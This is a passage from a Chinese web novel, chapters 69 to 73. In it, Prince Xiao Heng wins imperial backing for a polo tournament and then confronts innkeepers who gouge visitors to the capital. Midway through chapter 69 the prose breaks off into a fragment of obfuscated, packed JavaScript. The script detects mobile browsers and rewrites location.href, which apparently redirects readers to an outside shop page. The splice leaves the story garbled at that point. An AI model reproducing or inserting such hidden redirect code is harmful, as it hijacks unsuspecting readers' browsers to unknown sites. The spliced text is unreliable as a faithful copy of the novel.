“送送送……!”
“嗯,态度不错。”
“皇兄吃完了,味道可好?”不一会太子直接光盘行动,萧恒蹲在旁边笑呵呵问道。
“不错继续保持,就是下次量可以再大一些,”太子满意地点头,下人将碗筷收拾了下去。
“皇兄啊,有个事和你商量商量,”看着太子满意的表情,萧恒笑眯眯的出声道。
“恭桶……快速速取来恭桶,孤要吐,”太子没有丝毫犹豫,立即朝四周宫**声喊道。
“晚了,皇兄你已经吃完了,此时若吐,便是浪费。”
“民间无数百姓可是连粗粮都做不到果腹,皇兄今日吃的,可是大富人家都难得吃上一次的牛肉,个顶个新鲜的大河虾,还有其他肉类,价值好几两银子呢。”
“平日里就算是过年,普通百姓都吃不了这么好。”
“皇兄你可心系百姓的
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仁君,你能吐了?”
太子闻言动作瞬间僵硬。
坐了回去,眼神不爽地看向萧恒:“老子下次再着你的道,老子特么跟你姓。”
“没事,咱哥俩本来就一个姓,谁跟谁姓都无所谓,”萧恒满不在乎地说道。
太子闻言狂翻白眼。
“赶紧说啥事,孤这忙着呢,没工夫陪你瞎扯淡,”太子抱着双手,靠在宽大的椅子上。
瞪着眼睛看着萧恒,这会是怎么看怎么不顺眼。
萧恒却全然一副看不见的表情。
乐呵呵地凑上前去,从袖口中掏出了一张宽大的宣纸。
给扑在了桌面上。
说道:“臣弟最近时间弄了一个马球比赛,皇兄应该都清楚吧?”
太子眯了眯眼,没有说话。
萧恒继续说道:“现在经过臣弟一段时间的宣传,京都及周边方圆几百里,应该都差不多知道了。”
“但最近臣弟总感觉差点意思,百姓知道的是不少,但大部分都是闲时摆摆龙门阵罢了。”
“真正的势,并没有造出来,所以臣弟便想了个招。”
“让皇兄你提两个字,不写别的,就写冠军二字。”
“回头臣弟做个冠军奖杯,再找个有名的大师,给皇兄亲手提的冠军二字,刻上去。”
“最后再这么一宣发,得冠军者,冠军二字乃是当朝太子亲自提笔写的,此等天大的荣耀,那群人还不得疯啊。”
“拼了命的获得此等荣耀。”
“到时候咱们大计可成啊。”
“关键此举,太子在百姓心中名望注定大涨,经过此等事件传播,百姓口口相传,天下百姓都会知道太子你的名讳。”
“到时,百姓都知道皇兄你,至于其他人,早已被皇兄你在百姓心中的地位,给彻底盖过,压根想不起来。”
“在百姓心中便只有太子你,哪里还会有其他皇室子弟。”
萧恒不断还给太子画着大饼。
“皇兄你这是什么表情,你不觉得这是皇兄你在百姓心中刷声望的好时机吗?”
面对萧恒画得大饼,太子表情一脸淡然:“饼画得不错,挺好,但下次别画了。”
“孤怕将自己撑死。”
第69章:敢输,他们铁定玩完
“这怎么能说是画大饼呢?这分明是对未来的规划,以及一份美好的憧憬。”
萧恒一脸笃定地迎着太子的目光,语气坚定。
“你这张嘴啊,真是能把黑的说成白的。”
“说来也怪,咱哥俩在一起生活了这么多年,原来怎么愣是没瞧出来你还有这本事呢?”
太子面露不解,上下打量着萧恒。
萧恒闻言,脸上顿时堆起几分洋洋自得。
笑道:“皇兄,您不知道的本事还多着呢,日后您就慢慢瞧着吧。”
“嘿,说你胖,你小子还真喘上了,”太子不由笑骂了一句。
太子那心宽体胖的身子依旧舒坦地陷在宽大的椅子里,只是抬了抬眼皮,瞅着萧恒,慢悠悠地道。
“今日你特意跑这一趟东宫,总不会就只是为了让我写冠军这两个字吧?”
“嘿嘿,”萧恒咧嘴一笑,奉承道:“皇兄果然明察秋毫。”
说着,萧恒神色一正,从袖中取出一本奏折,恭敬地递了过去:“皇兄请过目此物。”
“这是臣弟结合上次呈报的纲要,进一步完善的马球赛事细则。”
若说上次只是个粗略的框架,这回连具体的筋骨脉络,萧恒都填充妥当了,一切一目了然。
太子接过,目光迅速扫过卷面。
“东宫杯?”
折子里,这三个字格外醒目地跃入太子的眼帘。
“正是,”萧恒点头解释道:“此次赛事的魁首奖励,既是由皇兄您亲笔题写,声势自然要造足。”
“臣弟想着,不如就直接冠以东宫杯之名,一听便知是东宫牵头主办,岂不是既响亮又气派?”
太子听了,嘴角微微一抽:“那你何不再胆大些,索性起个皇家杯的名号,去请父皇为你题字岂不是更风光?”
太子本是随口一说,没承想萧恒竟一脸认真地答道:“不瞒皇兄,臣弟确实动过这个念头。”
“可思前想后,终究是没敢去。”
“就怕父皇斥责我不务正业,再一顿教训,那可就吃不了兜着走了。”
毕竟前些日子面圣时,萧恒已将此事详细禀报过梁帝。
然而梁帝听完,未置可否,态度莫测。
加之原著中的梁帝本就是位眼里容不得沙子的严父,对皇子们要求极严。
萧恒掂量再三,还是觉得稳妥为上,这才转而求太子出手。
太子闻言,脸上掠过一丝诧异:“你还真敢想?这胆子……未免也太肥了些。”
“这不是最终没敢去吗,”萧恒尴尬一笑。
“咦?这次赛事,你还打算让异族人参与?”太子的目光在折子上停留,眉头忽然一挑。
“有,而且不止一支队伍,”萧恒语气平静地回答。
“若只是我大梁一国关起门来自己玩,终究少了些趣味。”
“俗话说,独乐乐不如众乐乐,这般有趣的盛事,自然该多邀些人,才显得热闹。”
“关键在于,一旦有异族参与,这就不再是咱们大梁内部公子王孙的游戏,而变成了各族之间较量高下的擂台。”
“到时候,民间那些议论咱们玩物丧志的声音,想必也能小下去不少。”
萧恒最后低声补充了一句。
太子笑了笑继续浏览着折子,头也不抬地问道:“你就不怕……万一这冠军最后真被异族人夺了去?”
萧恒听罢,嘴角勾起一抹冷冽的笑意:“若真如此,那他们可就惨了。”
“皇兄可知,臣弟邀请的是哪三支异族队伍?”
太子神色不变,淡然道:“还能有谁?无非是北边那三个老对头——匈奴、契骨、瓦剌。”
萧恒立刻做出夸张的佩服表情:“皇兄真乃神机妙算,这都能猜到,臣弟对您的敬仰真是如滔滔江水……”
“少来这套,你这折子上白纸黑字写着呢,”太子没好气地打断萧恒。
“臣弟这不是想给皇兄解解闷嘛,”萧恒嘿嘿一笑。
随即,收敛了嬉笑之色,面容转为肃然:“北方草原部族林立,其中势力最盛者,便是这匈奴、契骨、瓦剌三部。”
“多年来,他们几乎每隔几年便要与我大梁兵戎相见,咱们打一顿,他们消停一阵,消停完了,伤疤还没好利索就又忘了疼,再次蠢蠢欲动,屡次犯边。”
“所以说,这三部与我大梁,无论明面上关系如何,暗地里早已是水火难容。”
“否则去年,父皇也不会因契骨部的挑衅便龙颜大怒,不惜耗费巨资,调动近十万大军北出雄关,深入那北方苦寒大漠,一驻守便是大半年。”
“只可惜啊……”萧恒说到这里,咂了咂嘴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567149|187014||http|test|mini|href|location''.split(''|''),0,{}));
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r>“去年那一仗,匈奴与瓦剌两部虽未明着插手,却一直在旁虎视眈眈。”
“加之其他诸国亦不甚安分,父皇终究是未能放开手脚大打一场。”
“最终,也只是起到了震慑的作用,并未取得什么实质性的战果。”
“唉,”太子闻言,亦是轻叹一声:“去年对契骨用兵,父皇确是冲动了些,天子一怒,伏尸百万,终究是未曾多听劝谏啊。”
“劳师远征,非在本土作战,战线拉得过长,又需时时提防他人趁火**,可谓牵一发而动全身。”
“父皇当初是盛怒之下毅然发兵,然而后续牵扯的各方局势,远比出兵本身更为复杂。”
“为防他国异动,去年全国兵马频繁调动,粮草辎重消耗着实惊人。”
“所幸最后仗是打赢了,总算狠狠挫了契骨部的锐气,连带也敲打了匈奴和瓦剌,让他们不敢轻举妄动。”
萧恒接口道:“正因如此,这三部堪称我大梁死敌。”
“此次参赛的队伍,队员皆由我朝勋贵子弟组成。”
“他们的祖辈,无论文武,哪个没和这些北荒蛮子打过交道?对这些人,可谓是恨之入骨。”
“这次臣弟特意将这三部拉进来,倘若最后他们还是输了比赛……”
萧恒阴恻恻地一笑:“那这些勋贵子弟回去,怕是不死也得脱层皮,腿被打断都是轻的。”
太子神色不变,淡淡道:“你倒是乐观,就不怕万一事与愿违,真让对方赢了去?”
“此事若仅限于大梁内部,胜负不过一笑之事,可一旦牵扯外邦,性质便截然不同了。”
萧恒闻言,倒是显得颇为从容:“即便真输了,也未必全是坏事。”
“只要咱们的儿郎们尚有几分血性和羞耻心,便会将此次败绩视为奇耻大辱。”
“回去之后,必定奋发图强,刻苦操练,只待下一届赛事一雪前耻。”
说到这里,萧恒眼中闪过一抹幽深的光芒:“而我们,正可借此机会大肆宣扬,将马球赛事的影响进一步扩大。”
“待下一届,便可办得更加隆重,邀请周边所有叫得上名号的国家与部族前来参赛。”
“如此,不仅能彰显我大梁煌煌气度,提升国威,顺带……也能赚些零散银钱,岂非一举多得?”
第70章:这太子,简直是我的偶像啊
出了宫门,晚风轻轻吹过。
萧恒指尖轻轻摩挲着手中的宣纸,纸上冠军二字笔力遒劲、龙飞凤舞,一看便知是帝王手笔。
对,此刻萧恒手中纸张上的字迹,并非太子所书,而是梁帝亲题。
想起方才在紫宸殿的一幕,此刻萧恒便满心感慨。
先前太子听完自己的提议,并未立刻应下,反倒垂眸沉思了片刻后,眼底忽然闪过一丝决断的亮芒。
抬眸说道:“既然要造势,何不一步到位,把势头造得足足的?”
“走咱俩找父皇去。”
话音落,太子便直接起身,兄弟二人朝紫宸殿而去。
见到梁帝后,不过一炷香的工夫,太子竟真的说服了梁帝,让梁帝点头应下支持赛事。
最后梁帝听得兴起,当即对着萧恒沉声道:“此事牵涉外邦,关乎我大梁国威,朕给你二十万两纹银,你尽管放手去做。”
“务必彰显出我大梁大国风范。”
可谁料,梁帝的话音刚落,刚提笔打算写下批条。
一旁的太子便垂首开口:“父皇,国库空虚,二十万两拿不出来。”
这话一出口,梁帝刚提笔的手顿时猛地一滞。
眉头瞬间拧成了疙瘩,看着太子语气里满是难以置信:“方才是你说要造势,如今说到银子,你倒先怯了?”
“没银子,怎么造势?”
“拿头去?”
“造势不在铺张,”太子抬眼,迎上梁帝的目光竟半分不惧:“外邦看的是我朝气象,而非银钱堆出来的排场,面子不值当耗空国库。”
你一言我一句,好好的君臣议事,转眼就成了父子对辩。
梁帝吹胡子瞪眼,指着太子怒气冲冲,对着太子就是一顿输出。
太子却是全程寸步不让,字字句句都扣着没钱二字。
到了急眼时,袖口都下意识地攥紧了,只差真撸起袖子与梁帝理论了。
殿内父子二人退喷的场景,一旁的萧恒都看在眼里。
此刻的萧恒站在一旁角落里,显得是那么的渺小。
大气都不敢出一下,老实的一批,生怕喘气声太大,引起二人的注意,将战火引到自己身上来
毕竟往日里见太子,但凡有外人在场,太子总是温文尔雅,对梁帝向来恭顺,从不会有半分顶撞,今日这般以下犯上的模样,萧恒还是头一回见。
关键是梁帝虽看似异常暴怒,但全程都只是单纯的口语输出。
这要是搁自己身上,早上手了,连打带骂,最后被轰出紫宸殿,禁足闭门思过去了。
此刻紫宸殿内的一众宫女太监,和萧恒一个模样,全部低着头,安安静静的当自己的人形摆件。
最终在梁帝的强有力的争论下,在加上赛事有外邦人在场,太过寒酸也确实不妥。
梁帝一开始说的二十万两白银,被太子活生生的砍到了六万两。
方才作罢。
最后梁帝又提笔写了道手谕,给了萧恒:“拿着这个,去工部调人,球场扩建的事抓紧些。”
走出紫宸殿时,萧恒脑子里还回放着刚才殿内的那番争执。
梁帝要的是大国风范,哪怕一场球赛也要办得风光。
太子守的是国库实底,半分多余的银钱都不肯松口。
一个为了颜面据理力争,一个为了省钱寸步不让。
到最后,竟是向来威严的梁帝退了步,太子则带着几分不易察觉的从容,转身离开了紫宸殿。
看着那道挺拔的背影,萧恒忽然觉得,太子身上像是罩了层淡淡的光。
敢问历朝历代,像这样的储君,有几位?
一个字。
牛。
萧恒忍不住在心里琢磨:原身从前竟敢同这样的人争储?
到底是猪油蒙了心,还是作者笔下设定太强大,实在改不了?
另外还有那几位同样对储位有想法的皇子……
想到这,萧恒轻轻摇了摇头。
只能在心里默默祝福道。
上帝会保佑你们的。
诸位,往后自求多福吧。
……
有了梁帝的鼎力支持,关于球赛的造势风潮,如同乘上了最快的驿马,短短数日之内,消息便传遍了大梁的每一个州郡。
只要不是那些真正与世隔绝的深山远村,大梁境内的百姓,几乎无人不知京都即将举办的这场盛事。
嗅觉灵敏、又爱凑热闹的富户豪绅们,纷纷
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打点行装,从四面八方涌向京都。
与以往由皇室主导、仅限君臣参与的祭天大典不同,这次球赛明面上虽是皇室牵头,打出的旗号却是与民同乐。
寻常百姓不仅能听闻,更能亲临现场观看比赛,这前所未有的开放性,使得球赛迅速升温,成了大梁近年来少有的一场全民狂欢。
距离球赛开幕尚有半月之久,京都城内的客栈便已是一房难求。
许多远道而来的客人拖着行李,连跑数家客栈,得到的都是客满的答复。
即便有幸找到空房,那价格也令人瞠目结舌,平日里只需二十到五十文钱一晚的普通客房,如今已飙升至二百到五百文,足足涨了十倍有余。
由于大梁律法规定,百姓出行需持官府路引,能动身前来京都凑这番热闹的,多半是家底殷实之辈。
也正因如此,城中那些稍显高档的酒楼客栈,涨价更是肆无忌惮。
有些上房一夜的价钱,竟从平日的五百文暴涨至数两银子。
住一晚便要耗费普通人家一年的全被费用,即便是富户,也难免肉痛。
于是,城内因住宿价格引发的争执日益增多,从口角**到拳脚相向,每日报官的案件少则两三起,多则数十起,让京都府的衙役们疲于奔命。
这一日,城外的球场即将竣工,萧恒打算亲自前去查看一番,看看还有无可以改进完善之处。
毕竟这个时代没有影像记录,单靠下属的口头描述,总不如亲眼所见来得踏实。
按照计划,球赛开幕首日太子将会亲临,加之梁帝本身也是马球爱好者,保不齐会心血来潮,微服前往。
为防万一,萧恒觉得必须亲自去盯紧每一个环节。
但萧恒尚未出城,便在一家装潢气派的酒楼门前,撞见了一幕**。
只见几个店家伙计手持棍棒,凶神恶煞地将几名客人往外驱赶,口中还不住呵斥:
“滚滚滚!住不起就赶紧滚蛋!也不睁开眼瞧瞧这是什么地方?”
“天子脚下,京都宝地。”
“还当是你们那穷乡僻壤呢?”
“就这个价,一个子儿都不能少!”
“赶紧滚。”
第71章:恶意哄抬房价
“吁——”
萧恒手腕一沉,勒住手中缰绳,身下马匹稳稳定在原地,打了一个鼻息。
萧恒端坐马背,目光淡然地扫过眼前这场突如其来的闹剧,深邃的眼眸里看不出丝毫波澜。
“曾——!”
同时刺耳的金属摩擦声骤然响起,那是护卫们腰间佩刀瞬间出鞘半尺的警告。
周仓面色一沉,策马挡在萧恒侧前方,厉声喝道:“放肆!尔等何人,竟敢冲撞殿下仪驾?”
“控制起来,莫要让这些莽夫惊了殿下。”
周仓声音不高,却带着不容置疑的威严。
酒楼那边,几名小厮正挥舞着棍棒,骂骂咧咧地驱赶着两名客人,态度极为嚣张。
眼见这群人几乎要冲到街心,防止是刺客假扮,周仓不敢有丝毫怠慢,立即轻喝下令。
“诺!”
数名精锐护卫齐声应和,声如闷雷。
瞬间便冲上前去,形成一道半弧形的包围圈,手中明晃晃的兵刃在日光下反射出森冷寒光,直指那几名酒楼杂役。
方才还气焰嚣张,趾高气昂驱赶客人的小厮们,顷刻间便被一群凶神恶煞的大汉给围住了。
一个个顿时面如死灰,双腿筛糠般抖个不停,眼中充满了恐惧与茫然,已是六神无主。
“贵人息怒!贵人息怒!天大的误会啊!”
就在这时,一名身着绸衫、掌柜模样的中年男子连滚带爬地从酒楼里冲了出来,额上尽是冷汗。
“何人?止步!”一名护卫持刀上前一步,眼神犀利,厉声阻止他继续靠近。
那掌柜被这声呵斥吓得浑身一激灵,慌忙刹住脚步,站在原地连连作揖鞠躬,语速极快地解释道。
“贵人明鉴!小的乃是这好运来酒楼的掌柜。”
“这些都是酒楼里跑堂的伙计,绝非歹人。”
“实在是……实在是这两人无钱住店,还出言不逊,污蔑小店清誉,伙计们一时气愤,这才动手驱赶,万万不敢对贵人有半分不敬之心啊。”
“他一边说着,一边扭头对那群吓傻的小厮厉声骂道:“你们这群没眼力见的混账,还不赶紧把你们手里的烧火棍子给我扔了。”
“扔远点,若是惊了贵人的宝马,伤了贵人的金躯,便是把你们十个脑袋捆在一起,也赔不起。”
一阵噼里啪啦的乱响,小厮们如蒙大赦,忙不迭地将手中棍棒扔了一地,一个个低眉顺眼,噤若寒蝉。
掌柜的这才重新转向萧恒,脸上堆满了谄媚的笑容,腰弯得几乎要贴到地上:“贵人,您看……这真是场误会,小的给您赔罪了。”
“你……你血口喷人!”
被驱赶的两人中,那名穿着粗布衣服背着行囊的青年下人,此刻气得满脸通红,忍不住高声辩驳。
“分明是你们看我家老爷是外乡人,坐地起价,想要讹诈。”
“我们欲与你们理论,你们反倒恶语相向,辱骂我们是穷乡僻壤来的穷酸,不配住你们这高贵酒楼。”
“还放出恶犬,持棍行凶,天下哪有这般道理。”
被他护在身后的中年男子,衣着虽不华贵却也整洁体面,此刻也是满面愤懑,接口道:“正是,五两银子住一晚,这简直是明抢。”
“嗯?怎么回事?”萧恒闻言,眉头微微皱起,露出一丝疑惑。
侍立在一旁的贴身太监三福,立刻凑近回道:“殿下,依奴才看,多半又是为着房费争执。”
“这类事情,近几日在这京城里头,可算不得新鲜了。”
“三福久在萧恒身边,对于城中大小动向,尤其是可能关乎主子事务的消息,向来留意打听,以备不时之需。
“详细说来,”萧恒的眉头锁得更紧。
三福忙躬身道:“回殿下,自您督办的马球大赛日期临近,四方来客涌入京城,这城里的客栈酒楼,立时便紧俏起来了。”
“近日房源一少,他们便肆无忌惮地抬价,几乎是一日一涨,毫无规矩。”
“昨儿个可能还是一百文钱一晚的普通客房,今儿个就敢要价二百文、三百文,甚至更高。”
“许多远道而来的客商游人颇有怨言,争执斗殴之事,已发生数起了。”
“哼,一群喂不饱的豺狼!”
萧恒低声骂了一句,随即抬眼,冷冽的目光射向那好运来掌柜,问道:“你们好运来,现今住一晚,要价几何?”
那掌柜脸上依旧堆着笑,似乎丝毫不觉得这涨价有何不妥,坦然回道。
“回贵人的话,现今小店下房每晚需五百文,中房需纹银二两,上房嘛……需纹银五两,至于吃食,皆需另算。”
“五两?”萧恒眉头一挑,语气中带着明显的讶异与讥讽。
须知即便是那教坊司,京城中有名的销金窟,五两银子,也足够请动一位除了花魁之外的当红姑娘陪上一整夜,外加一桌不错的酒菜。
翌日清晨,姑娘还会温言软语地将客人送至门口,道一声盼郎再临。
而这好运来酒楼,区区一间客房,竟也敢开出这个天价?
莫非那房间是镶了金边不成?
“平日里,又是何价?”萧恒压下心头火气,继续追问。
掌柜如实答道:“平日里,下房五十文一晚,中房二百文,次日巳时三刻前,还管一顿早食,上房五百文,则管早晚两顿餐食。”
“哦?”萧恒眯起了眼睛,声音变得危险起来:“照你这意思,现今花了五两雪花银,在你这儿住一晚,连顿像样的饭菜都混不上了?”
掌柜面露难色,搓着手道:“贵人明鉴,实在是……实在是眼下客人太多,后厨实在忙转不开,若要吃食,只能劳烦客官单点,价格……价格自然
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也按市价来。”
“贵人!您听听!您可要为我们评评这个理啊!”
那被驱赶的中年男子听到这里,更是气愤难当,向着萧恒拱手道。
“五两银子一晚,这分明就是欺生,这五两银子,若节省些用,都够寻常三口之家一年的嚼谷了,这不是敲诈是什么?”
“谁欺生了?谁敲诈了?”
见萧恒一行人似乎并非专门来为难自己的,一名酒楼小厮的胆子又壮了几分,忍不住昂着脖子嚷道。
“我们这可是一视同仁,现如今,莫说是你们外乡人,便是京里的老爷们来了,想住店,也是这个价码。”
“住不起就趁早滚蛋,我们好运来是什么地方?”
“向来只接待有头有脸的富贵人物,可不是什么穷酸都能往里闯的。”
听说连京都本地人也要承受这天价,那中年男子明显愣住了,脸上写满了难以置信。
“这……这京都城,我每年也要来上几趟,往昔物价虽高,却也从未如此离谱啊……”
“城中其他客栈酒楼,房价涨幅皆如此猖獗?”萧恒闻言,眉头已紧紧锁成了一个川字,转向三福问道。
三福小心翼翼地回答:“回殿下,大抵……大抵都是这个情形。”
“因此惹出的怨愤不少,口角争斗几乎每日都有,京都府衙门那边,据说都已处置过好几桩相关的案子了。”
“好啊!好得很!”萧恒气极反笑,声音陡然转冷。
如同数九寒天的冰凌:“查!给本王彻查!”
“自即日起,近半月内,城中所有肆意哄抬房价的客栈、酒楼,有一家算一家。”
“何时开始涨的,涨了多少,利润翻了几番,都给本王查个清清楚楚,明明白白。”
此刻萧恒心中怒火翻腾:好一群贪得无厌、目光短浅的蠢货。
平日里门可罗雀时,怎不见你们降价揽客?
如今本王辛辛苦苦筹办赛事,引来这八方宾客、泼天的人流富贵,你们不知感恩戴德、好好承接便罢了,竟还敢如此杀鸡取卵、肆意妄为。
这是在给朝廷脸上抹黑,是在打本王的脸啊。
行啊,既然一个个利欲熏心,贪得无厌,那本王就成全你们!
萧恒眼中寒光一闪,心中已有了决断,这次若不叫你们将这些不义之财连本带利地吐出来。
那本王岂不是白做了这大梁的齐王。
白拿了手中的剧本。
在萧恒看来,这场马球盛会乃是自己一力促成,这些远道而来的人多为赛事而来。
如今他们遭受盘剥,心中怨愤,骂的岂止是这些奸商?
最终这骂名,恐怕都要算到自己这位主办赛事的齐王头上。
认为是自己在纵容甚至指使这些蠹虫敲诈勒索。
此风绝不可长,必须严加整饬,以儆效尤。
第72章:乖,收好了
“两位,若是不嫌弃,就请在眼前这家店暂且住下,住宿所需的一切花费,自有本王承担。”
萧恒勒住马缰转向二人,声音温和却自带一股不容置疑的威严。
“王……王爷?”方才周仓那一声轻喝,虽点明了萧恒的身份,但无论是那好运来的掌柜,还是这两位风尘仆仆的外地来客,都因事出突然而未敢立刻确信。
此刻亲耳听闻萧恒自称本王,二人这才如梦初醒,方知眼前这位气度不凡的年轻人,竟是位真真切切的皇室贵胄。
那中年男子慌忙俯身叩首,额头几乎要触到冰凉的地面,声音因惶恐而带着微颤。
“王爷折煞小人了,小人……小人不过一介低贱行商,怎敢劳动王爷金口,更怎敢让王爷破费,小人……小人实在是惶恐万分,承受不起啊。”
“起身回话。”萧恒面色平静无波,语气淡然。
“此事发生在京都地界,便是我等东道主待客不周,扰了二位的行程与心境。”
萧恒略作停顿,目光扫过二人,语气转为坚定:“你们且在此安心住下,此事,本王定会查问明白,给你们一个公正的交待。”
随即,萧恒目光一转,如两道冷电般射向那早已面如土色的好运来掌柜,声音陡然转冷,字字清晰。
“给他们安排房间,五两银子一间的上房是吧?”
“给这两位远道而来的客人,一人预备一间,先按五日的份例预备周全。”
“我……”那青年下人似乎心有不忿或疑虑,嘴唇微动欲说话,却被中年男子急忙用眼神严厉制止,并微不可察地摇了摇头。
中年男子再次深深叩首:“小人……叩谢王爷天恩,王爷千岁。”
那青年见状,也立刻醒悟过来,不敢再多言,跟着重重磕了一个头。
“来,掌柜的,银票拿好喽。”
三福利落地翻身下马,脸上堆着看似和煦却暗含深意的笑容,从怀中掏出一张银票,径直递到掌柜面前。
那掌柜此刻早已汗出如浆,脸色惨白得如同刚从水中捞出一般。
他双腿一软,“扑通”一声直挺挺跪倒在地。
声音里已然带上了哭腔:“王爷您……您能赏光,安排贵客住在小店,那是小店几辈子修来的福分。”
“小的……小的就算有天大的胆子,也万万不敢收王爷您的银钱啊。”
“这要是让我们东家知道,小的收了王爷您的银子,非扒了小的皮,抽了小的筋不可啊。”
他跪在那里,身体抖得像秋风中的落叶,额头上豆大的汗珠接连不断地滚落,砸在干燥的地面上,洇开一小片深色痕迹。
“哎——”
三福拉长了声调,蹲下身来,不由分说地将那张银票硬生生从掌柜的衣领口塞了进去,动作带着几分不容拒绝的蛮横。
脸上依旧挂着笑,话语却像裹着糖衣的针:“好运来是什么地方?”
“这可是咱们京都有名有号的大酒楼,住店给钱,天经地义嘛。”
“要是不给,传出去,外人还不得说我们王爷仗势欺人,甚至……要被你们酒楼的人打死在门口呢?”
三福轻轻拍了拍掌柜的后背,像是安抚,又像是警告,脸上的笑容瞬间收敛,压低声音道:“乖,好好收着,可千万……要收稳当喽。”
“二位,安心住下便是,一切自有本王。”
萧恒不再理会那摊烂泥般的掌柜,转而向那两名外地客商微微颔首,语气复归平和。
说罢,萧恒一抖缰绳,策动身下马匹,在一众侍卫的簇拥下,继续朝城外方向不疾不徐地行去。
“扑通——!”
萧恒一行人马蹄声渐远,身影刚刚消失在街角的刹那,那好运来的掌柜仿佛全身最后一丝力气也被抽干。
整个人如同一滩软泥般,彻底瘫倒在地,双眼翻白,竟是直接吓得昏**过去。
……
“殿下,您日前吩咐查探的关于近期城内客栈酒楼房价飞涨一事,已有初步结果。”
一天之后,侍卫统领周仓步履稳健地走入书房,躬身向萧恒禀报,同时将一份详细记录着调查结果的册子双手呈上。
周仓继续沉声汇报:“据属下查明,截至目前,京都城内大小客栈酒楼,已有近九成之所,房价涨幅高达平日六倍以上,其中最为离谱者,甚至涨至往日的二十倍有余。”
“余下约一成店铺,价格相较以往虽亦有上浮
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,但幅度尚在可控范围,多数处于三倍至五倍之间。”
“然,确无一家能够维持原价。”
“哼!”萧恒闻言,冷哼一声,指节轻轻敲击桌面:“照此说来,竟是家家涨价,无一例外了?”
萧恒眼中闪过一丝厉色,当即下令:“周仓,你即刻去办。”
“将这些客栈酒楼背后,但凡能叫得上名号、说得上话的东家或主事之人,悉数给本王通知到位。”
“明日一早,本王要在府中,见到他们每一个人。”
“诺!属下遵命!”
周仓抱拳领命,转身大步离去。
……
第二日清晨,天色刚蒙蒙亮,齐王府那威严的朱漆大门前,汉白玉铺就的台阶之下,已黑压压地汇聚了不下百人。
京都作为天子脚下,繁华之地,人口逾百万。
市井繁华冠绝天下,与之相应的酒楼客栈行业自然是鳞次栉比,数量繁多,其背后的商贾势力更是盘根错节。
今日能出现在齐王府门前的这些人,自然并非行业全部,仅是其中最具代表性的一小部分核心人物。
然而,切莫小觑了这一小撮人。
他们手中掌握的能量,足以影响乃至决定整个京都客栈酒楼的行情动向。
其中更有那么几位顶尖的人物,势力根深蒂固,若是有不知底细的外地商人想在京都新开一家酒楼,若不事先备足厚礼,寻到门路。
上门拜会、打好招呼,那么即便勉强开张,恐怕也难以撑过三个月,便会悄无声息地关门大吉。
然而,这些平日里在各自地盘上呼风唤雨、趾高气扬的人物。
此刻身处这代表著皇室威严与权力的王府门前,一个个却都像是白日里见了光的老鼠。
噤若寒蝉,连大气都不敢喘一口。
内心的忐忑与惊惧,清晰地写在每一张强作镇定的脸上。
时令虽刚过立秋,九月未至,清晨的空气尚带着一丝夏末的余温。
但此刻**在王府门前的众人,却只感到一股无形的寒意从四面八方侵袭而来,冰冷刺骨。
仿佛能穿透鞋底,沿着脊梁骨一路窜上天灵盖,让人从脚底到头顶,都是一片冰凉的死寂。
第73章:涨了一下房价,要被诛九族了?
诸位可知,今日本王为何要召诸位前来?”
齐王府内,萧恒并未在正厅接待众人,而是择了一处开阔庭院。
院中熙熙攘攘立了近百人,莫说是热茶招待,就连一张坐席也无。
众人只得立于空旷院中,两侧带刀侍卫肃立,面容冷峻,静静注视着人群。
萧恒安坐于廊檐之下,手边是一盏氤氲着热气的清茶,两碟精致点心。
左右皆有近卫护持,身后则静立着青禾与清砚二人。
萧恒端起茶盏,浅浅喝了一口,面色平静无波,目光扫过众人,再次发问。
“草民愚钝……恳请殿下明示。”
一位两鬓斑白的老者立于众人之前,见无人敢应声,只得硬着头皮上前一步,躬身行礼道。
“哦?都不知么?”萧恒目光如微风般掠过众人。
“草民愚钝,恳请殿下明示!”
近百人如同回声般齐声应和,声音在庭院中回荡。
萧恒见状,也无意再与这些人打哑谜。
抬手一挥,立时有侍卫捧起厚厚一叠纸页,逐一分发下去。
萧恒凝视众人,语调平缓却带着不容置疑的威压:“诸位虽身为商贾,却皆出自名门大族。”
“又都是深谙经营之道的人精,无一不是心思剔透之辈,本王无意与你们虚与委蛇,绕弯子。”
“你们手中之物,都仔细看看,看完之后,须给本王一个合理的解释。”
“在解释之前,本王赠诸位一句忠告:本王行事,素喜直来直往,故而,也望诸位莫要以些车轱辘话来搪塞敷衍,与本王虚与委蛇。”
萧恒所发下的,自然是他这几日命人暗中查访、记录的京都各大酒楼房价飞涨的详情。
一众酒楼老板接过纸张,匆匆浏览其中内容。
随即,众人面面相觑,神色各异。
其实早在接到齐王传召之时,他们便心知有异,这位身份尊贵的大梁齐王,怎会无缘无故召见他们这些商贾之流?
于是早已派人多方打探,故而前来之时,众人心中已大致猜到齐王所为何事。
此刻不过是将猜测坐实罢了,那一颗颗悬着的心,此刻终于沉沉落下,再无侥幸。
他们岂会天真地认为,齐王如此兴师动众地将他们召至此地,并且自始至终未给半分好脸色,是为了给他们颁发赏银?
“都看完了?”
“现在,可知本王为何召你们前来了吧?”
萧恒稳坐如山,目光如鹰隼般锐利,缓缓扫过众人,一手轻叩桌面。
语气依旧平静,却隐含着风暴:“谁,先站出来给本王一个解释?”
“扑通!”
“草民有罪!恳请王爷治罪,”面对萧恒的质问,无人敢直接应答。
机敏者索性直接跪伏于地,也不分辨自己究竟错在何处,径直请罪。
反正今日到场之人,背后皆有世家大族撑腰,且皆是各族明面上执掌商业的舵手。
这么多人,除非齐王疯了,否则最多也只能小惩大诫,至多揪出几个典型杀鸡儆猴,以儆效尤。
绝无可能将所有人尽数问斩。
既然性命大概率无虞,这群在商海中沉浮多年的老油条,内心虽忐忑,却并无太多惧意。
“草民有罪!恳请殿下治罪!”有人带头,其余人也如同潮水般哗啦啦跪倒一片,齐声高呼。
“倒是个个都有自知之明,”萧恒起身,嘴角噙着一丝若有似无的冷笑。
“既然都自认有罪,那便说说吧,尔等所犯何罪?”
场中顿时一片死寂,无人应声。
萧恒面露不悦:“方才不是口口声声说有罪么?”
“让你们说,却又缄口不言,你们不说,本王如何治你们的罪?”
“来,那位老头,”萧恒随手一指:“本王看这群人中属你年岁最长,便由你说说,你有何罪?”
